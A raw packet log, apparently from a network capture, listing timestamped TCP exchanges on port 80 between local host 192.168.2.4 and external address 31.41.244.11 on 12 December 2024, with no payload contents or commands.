Dec 12, 2024 14:27:00.740134954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.740165949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.740278959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.740984917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.741029978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.741051912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.741074085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.741895914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.741945982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.741957903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.742014885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.742821932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.742872000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.742904902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.742996931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.743663073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.743678093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.743719101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.743719101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.744568110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.744597912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.744621038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.744637012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.745249987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.745304108 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.745315075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.745359898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.746083975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.746117115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.746151924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.746222973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.747189999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.747224092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.747437954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.747522116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.747864962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.747939110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.747972012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.748018980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.748682976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.748770952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.748810053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.748811007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.749649048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.749660969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.749686956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.749716997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.750448942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.750489950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.750530958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.750530958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.751250982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.751290083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.751306057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.751352072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.752118111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.752130032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.752163887 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.752187967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.753120899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.753134012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.753176928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.753176928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.753864050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.753931999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.754013062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.754055023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.754724026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.754780054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.754810095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.754859924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.755532026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.755575895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.755604982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.755651951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.756449938 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.756628990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.756671906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.756671906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.757242918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.757287025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.757348061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.757431984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.758167028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.758224010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.758256912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.758256912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.759181023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.759217978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.759495974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.759536982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.759880066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.759938955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.759962082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.760010958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.760696888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.760782003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.760792971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.760842085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.762103081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.762173891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.762207031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.762207985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.762526989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.762568951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.762597084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.762636900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.763345003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.763356924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.763389111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.763427973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.764219046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.764259100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.764281034 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.764323950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.764971018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.765010118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.765182018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.765227079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.765846968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.765896082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.766074896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.766156912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.766664982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.766719103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.766787052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.766835928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.767575979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.767636061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.767674923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.767674923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.768507004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.768518925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.768544912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.768563986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.769397020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.769442081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.769524097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.769603014 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.770167112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.770215988 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.770246029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.770291090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.771044016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.771094084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.771348000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.771406889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.771835089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.771929026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.772167921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.772208929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.772716999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.772757053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.772777081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.772830963 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.773552895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.773597956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.773680925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.773744106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.774442911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.774492979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.774774075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.774811029 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.775281906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.775336981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.775446892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.775490999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.776170969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.776233912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.776283026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.776350975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.777003050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.777101994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.777309895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.777369022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.777841091 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.777894020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.778229952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.778297901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.778718948 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.778753996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.779088974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.779151917 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.779597044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.779673100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.780173063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.780230999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.780430079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.780466080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.780554056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.780591011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.781289101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.781331062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.781342030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.781403065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.782139063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.782181025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.782370090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.782412052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.782973051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.783045053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.783119917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.783220053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.783871889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.783951044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.784168005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.784296989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.784641027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.784809113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.931961060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.931977987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.932039976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.932059050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.932396889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.932411909 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.932434082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.932466984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.933197021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.933212996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.933262110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.933263063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.934106112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.934122086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.934149027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.934216022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.934915066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.934931040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.934958935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.934972048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.935733080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.935787916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.936047077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.936146975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.936579943 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.936595917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.936652899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.936654091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.937407017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.937422037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.937446117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.937464952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.938388109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.938461065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.938517094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.938600063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.939219952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.939265966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.939348936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.939399958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.940264940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.940321922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.940409899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.940485954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.941570044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.941634893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.941754103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.941821098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.942333937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.942390919 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.942554951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.942610979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.943027973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.943065882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.943186045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.943273067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.943762064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.943833113 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.943867922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.943867922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.944669008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.944721937 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.944946051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.944997072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.945236921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.945326090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.945976019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.946048975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.946141958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.946161032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.946208000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.946208000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.946862936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.946986914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.947021961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.947021961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.947747946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.947801113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.947921991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.947959900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.948563099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.948607922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.948700905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.948757887 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.949419975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.949459076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.949569941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.949630022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.950288057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.950328112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.950468063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.950544119 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.951248884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.951266050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.951292992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.951309919 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.952115059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.952130079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.952155113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.952168941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.952881098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.952939987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.952964067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.953011036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.953706980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.953722000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.953749895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.953787088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.954708099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.954725027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.954756021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.954812050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.955658913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.955676079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.955714941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.955714941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.956396103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.956476927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.956656933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.956696033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.957132101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.957313061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.957330942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.957371950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.958002090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.958019018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.958040953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.958507061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.959182978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.959228039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.959616899 CET	80	49878	31.41.244.11	192.168.2.4
